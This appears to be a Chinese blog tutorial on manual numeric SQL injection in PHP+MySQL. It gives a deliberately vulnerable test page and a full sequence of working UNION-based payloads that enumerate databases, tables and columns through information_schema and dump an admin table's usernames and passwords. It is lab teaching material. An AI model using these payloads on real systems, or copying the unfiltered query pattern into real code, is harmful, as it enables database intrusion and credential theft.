SQL注入系列之PHP+Mysql手动注入(一)----数字型

1.常见的几种SQL注入

 

1.数字型
2.字符型
3.文本型
4.搜索型(POST/GET)
5.cookie注入
6.SQL盲注
7.编码注入
8.宽字节注入

 

2.测试源码

 

下载这个源码:http://download.csdn.net/detail/u011781521/9726616 部署到运行环境中去打开主页

 

 

页面源码:

 

[html]  view plain  copy
 
  1. <html>  
  2. <head>   
  3. <meta charset="utf-8" />   
  4. <title>sql注入测试</title>   
  5. <style>   
  6. body{text-align:center}   
  7. </style>   
  8. </head>   
  9. <body>   
  10. <br />  
  11. <?php  
  12.     include "./conn.php";  
  13.     $id=@$_GET['id'];//id未经过滤  
  14.     if($id==null){  
  15.         $id="1";  
  16.     }  
  17.     mysql_query('set names utf8');  
  18.     $sql = "SELECT * FROM sqltest WHERE id='$id'";  
  19.     $result = mysql_query($sql,$conn);  
  20.     if(!$result)  
  21.     {  
  22.         die('<p>error:'.mysql_error().'</p>');  
  23.     }  
  24.     $row = mysql_fetch_array($result);  
  25.     if (!$row){  
  26.         echo "该记录不存在";  
  27.         exit;  
  28.     }  
  29.     ?>  
  30.     <font size="10" face="Times">sql注入测试</font>  
  31. <table border='2'  align="center">  
  32. <tr>  
  33. <td>id:<?php echo $id;?></td>  
  34. </tr>  
  35. <tr>  
  36. <td>标题:<?php echo $row['title'];?></td>  
  37. </tr>  
  38. <tr>  
  39. <td>内容:<?php echo $row['content'];?></td>  
  40. </tr>  
  41. <tr>  
  42. <td>sql内容: <?php echo $sql;?></td>  
  43. </tr>  
  44. </table>  
  45. <href='./admin.php'>点我进入后台</a>        
  46. <href='http://pmd5.com/'>md5解密可以点我</a>  
  47. </body>   
  48. </html>   


 

3.MySQL报错注入基本流程:

 

1.判断sql注入
2.数据库权限判断
3.判断字段数
4.查询库名
5.查表名
6.查字段
7.查数据

 

1.判断sql注入

 

○提交单引号'

 

 

○and大法和or大法

 

我们在参数后面加上 and 1=1

 

 

和and 1=2看看有什么不同。

 

 

 

可以发现and 1=1 返回了数据,而and 1=2没有,这是由于1=1是一个为真的条件,前面的结果是true,true and true 所以没有任何问题,第二个 1=2 是个假条件, true and false还是false,所以并没有数据返回。

 

接下来看下or、or就是或者,两个都为假,才会为假,只要一个为真就为真,把语句后面的id改成一个不存在的,后面接上or 1=1,这样的话就成了 false or true,结果为true。

 

 

 

○加法和减法

 

加法和减法的使用要区别是数字型还是字符型的注入、然后来区分了、可以看他后面的参数如果是数字、就一定是数字型、如果是一些字母的话就是字符型注入。

 

列:

select * from user where id=4  //数字型注入 sql 语句
select * from user where username=’fendo’ //字符型注入 sql 语句

 

 

1.加法

 

我们在参数输入1+1,看看返回的数据是不是id等于2的结果,这里注意一下+号在SQL语句是有特效含义的,所以我们要对其进行url编码,最后也就是%2b。

 

 

2.减法

 

减法是同样的道理,不过不需要对-号进行url编码了

 

 

 

 

 

 

2.数据库权限判断

 

and ord(mid(user(),1,1))=114 


解释:

 

判断ROOT权限 返回正确存在 

 

 

或 and (select count(*) from mysql.user)>0

 

解释:

 

and (select count(*) from mysql.user)>0   /* 如果结果返回正常,说明具有读写权限。
and (select count(*) from mysql.user)>0   /* 返回错误,应该是管理员给数据库帐户降权了。

 

 

3.判断字段数

 

常用的两种猜解方式:

 

方法1、用union联合查询:and 1=1 union select 1,2,3,4,5…… 或 union select null,null,null.....

 

UNION SELECT 联合查询:可以用于一个或多个SELECT的结果集,但是他有一个条件,就是两个select查询语句的查询必须要有相同的列才可以执行,利用这个特性我们可以进行对比查询,也就是说当我们union select的列与它查询的列相同时,页面返回正常。在and后面加上1=1或1=2的作用后面会讲。

 

列:

 

当字段为2时页面返回错误

 

 

为3时,显示正确

 

 

为4时错误

 

 

说明字段数就是3,输入的数大于或小于字段数时都会报错。使用 union select null,null,null 是一样的

 

 

 


方法2、用order by 查询“order by * -- order by  

 

order by查询:在sql语句中是对结果集的指定列进行排序,比如我们想让结果集按照第一列排序就是 order by 1 按照第二列排序 order by 2 依次类推,按照这个原理我们来判断他的字段数,如果我们按照他的第1列进行排序数据库会返回正常,但是当我们按照第100列排序,但是数据库中并不存在第100列,从而报错。 

 

列:

 

当我们测试到4时数据库报错

 

 

说明该表只有3个字段

 

 

 

******************************************************这里有两个问题**********************************

 

第一个:大部分程序只会调用数据库查询的第一条语句进行查询然后返回(我们这个也是),而通过联合查询出的数据中,我们想看到的数据是在第二条语句中,如果我们想看到我们想要的数据有两种方法,第一种是让第一条数据返回假,第二种是通过sql语句直接返回我们想要的数据。


第一种:我们让第一个查询的结果始终为假

 

 

[html]  view plain  copy
 
  1. http://localhost/sqls/index.php?id=2  and 1=2 union select null,null,null  


 

 

什么都没有显示???? 因为这使用的null,所以返回的就是null (*^__^*)

 

第二种:通过limit语句,limit在mysql中是用来分页的,通过他可以从查询出来的数据中获取我们想要的数据

 

limit语法:

 

 

[html]  view plain  copy
 
  1. LIMIT [offset] rows | rows OFFSET offset  

LIMIT 子句可以被用于强制 SELECT 语句返回指定的记录数。LIMIT 接受一个或两个数字参数。参数必须是一个整数常量。如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目,初始记录行的偏移量是 0(而不是 1)。

 

 

列:

 

 

[html]  view plain  copy
 
  1. SELECT * FROM table LIMIT 5,10; // 检索记录行 6-15  

 

 

在地址后面加入以下代码


[html]  view plain  copy
 
  1. http://localhost/sqls/index.php?id=2  union select null,null,null limit 1,1  

 

返回也是空,因为这使用的null,所以返回的还是null。

 

第二个:哪个列中的数据是在页面中显示出来的,有一些列中的数据只是用于后台程序处理,并不会在前台显示,所以我们需要判断哪个字段我们可以看到。所以,我们要通过数字代替NULL进行查询,来确定哪些字段会在页面中显示。这也就是为什么我们不一开始就用数字而用null,因为union select 不仅要求列的数量相同 同时数据类型也要相似。

 

 

[html]  view plain  copy
 
  1. http://localhost/sqls/index.php?id=2  union select 1,2,3 limit 1,1  

 

 

4.查询库名

 

版本大于5.0的mysql的information_schema库中存储着mysql的所有数据库和表结构信息,所以可以利用information_schema库快速注入。

 

通过下面的语句可以判断数据库版本

 

and ord(mid(version(),1,1))>51


解释1: 确认数据库版本, 51是ASCII码3 正确则>4.0 错误则<4.0,当版本大于3.0时才能使用union方法;
解释2:ord()是mysql的函数用于获取二进制码;
解释3:mid()是mysql的函数用于截位操作;
解释4:version()是mysql的函数用于获取当前数据库的版本;

 

[html]  view plain  copy
 
  1. http://localhost/sqls/index.php?id=2  and ord(mid(version(),1,1))>51  

 

 

显示正确,我这用的的mysql版本是大于5.0的

 

 

 

下面的测试我把代码改了下、方便查看所有的数据库名:

 

 

[html]  view plain  copy
 
  1. <html>  
  2. <head>   
  3. <meta charset="utf-8" />   
  4. <title>sql注入测试</title>   
  5. <style>   
  6. body{text-align:center}   
  7. </style>   
  8. </head>   
  9. <body >   
  10.   
  11. <br />  
  12. <?php  
  13.     include "./conn.php";  
  14.     $id=@$_GET['id'];//id未经过滤  
  15.     if($id==null){  
  16.         $id="1";  
  17.     }  
  18.     mysql_query('set names utf8');  
  19.     $sql = "SELECT * FROM sqltest WHERE id=$id";//定义sql语句并组合变量id    
  20.     $result = mysql_query($sql,$conn);//执行sql语句并返回给变量result   
  21.     if(!$result)  
  22.     {  
  23.         die('<p>error:'.mysql_error().'</p>');  
  24.     }  
  25.     echo "<font size='10' face='Times'>sql注入测试</font></br>";  
  26.     echo "<table border='2'  align=\"center\">";  
  27.     echo "<tr><td>id</td>";  
  28.     echo "<td>标题</td>";  
  29.     echo "<td>内容</td>";  
  30.     echo "</tr>";  
  31.     //遍历查询结果  
  32.          while ($row = mysql_fetch_array($result))  
  33.     {  
  34.     if (!$row){  
  35.         echo "该记录不存在";  
  36.         exit;  
  37.     }  
  38.             echo "<tr>";  
  39.             echo "<td>".$row[0]."</td>";  
  40.             echo "<td>".$row[1]."</td>";  
  41.             echo "<td>".$row[2]."</td>";  
  42.             echo "</tr>";  
  43.     }  
  44.     echo "<td  colspan=\"3\" >sql语句: >".$sql."</td>";  
  45.     echo "</table>";  
  46.     ?>  
  47. <href='./admin.php'>点我进入后台</a>        
  48. <href='http://pmd5.com/'>md5解密可以点我</a>  
  49. </body>   
  50. </html>   


 

方法一:

 

可以直接使用mysql自带函数database()查询得到数据库名:

 

 

[html]  view plain  copy
 
  1. http://localhost/sqls/index.php?id=2 union select 1,database(),3 limit 1,1  

 

 

方法二:

 

使用以下语句语句得到所有的数据库名

 

 

[html]  view plain  copy
 
  1. http://localhost/sqls/index.php?id=2 union select null,schema_name,null from information_schema.schemata   


 

 

还可以获取第一个库名:

 

[html]  view plain  copy
 
  1. http://localhost/sqls/index.php?id=2 union select null,schema_name,null from information_schema.schemata limit 0,1  


 

 

并没有显示数据库名而显示的是第一条语句查询出来的结果。在union前面加上and 1=2,就能显示出来了。

 

 

[html]  view plain  copy
 
  1. http://localhost/sqls/index.php?id=2 and 1=2 union select null,schema_name,null from information_schema.schemata limit 0,1  

 

 


获取第二个库名:

 

[html]  view plain  copy
 
  1. http://localhost/sqls/index.php?id=2 and 1=2 union select null,schema_name,null from information_schema.schemata limit 0,2  

 


以此类推。

 

 

5.查表名

 

在MySQL中,表名存放在information_schema数据库下tables表table_name字段中、查表名我们主要用到的是TABLES表。

 

方法一:

 

用group_concat它可以返回查询的所有结果,因为我们需要通过命名判断该我们需要的敏感数据。

 

group_concat()会计算哪些行属于同一组,将属于同一组的列显示出来。要返回哪些列,由函数参数(就是字段名)决定。分组必须有个标准,就是根据group by指定的列进行分组。

 

 

[html]  view plain  copy
 
  1. http://localhost/sqls/index.php?id=2 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test'  

 

 

test数据库中就这两张表、这里我们的目标是sqltest表、因为当前的数据就是从sqltest表中获取的。

 

 

方法二:

 

使用下面的语句也是可以查出来的

 

 

[html]  view plain  copy
 
  1. http://localhost/sqls/index.php?id=2 union select null,table_name,null from information_schema.tables where table_schema='test'  


 

 

 

 

6.查字段


在MySQL中,字段名存放在information_schema数据库下columns表column_name字段中,这里使用的是columns表。

 

方法一:

 

 

[html]  view plain  copy
 
  1. http://localhost/sqls/index.php?id=2 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='test' and table_name='sqltest'  


 

 

也可以查看admin表中的字段。

 

 

[html]  view plain  copy
 
  1. http://localhost/sqls/index.php?id=2 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='test' and table_name='admin'  

 

得到字段id,user,pwd。

 

方法二:

 

 

[html]  view plain  copy
 
  1. http://localhost/sqls/index.php?id=2  union select null,column_name,null from information_schema.columns where table_schema='test' and table_name='admin'  

 

 

7.查数据

 

最终想得到的就是字段里的内容了、前面的数据库名、表名都获得了、获取值就很简单了。

 

方法一:

 

查询sqltest表:

 

 

查询admin表:

 

 

[html]  view plain  copy
 
  1. http://localhost/sqls/index.php?id=2 and 1=2 union select 1,group_concat(id,user,pwd),3 from admin  

 

 

 

方法二:

 

查询sqltest表:

 

 

[html]  view plain  copy
 
  1. http://localhost/sqls/index.php?id=2 union select null,title,content from sqltest  

 

 

查询admin表:

 

 

[html]  view plain  copy
 
  1. http://localhost/sqls/index.php?id=2 union select id,user,pwd from admin  

 

 

方法三:

 

查询admin表:

 

 

[html]  view plain  copy
 
  1. http://localhost/sqls/index.php?id=2 and 1=2 union select 1,2,concat(user,0x3c,pwd) from admin  

 

 
 
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值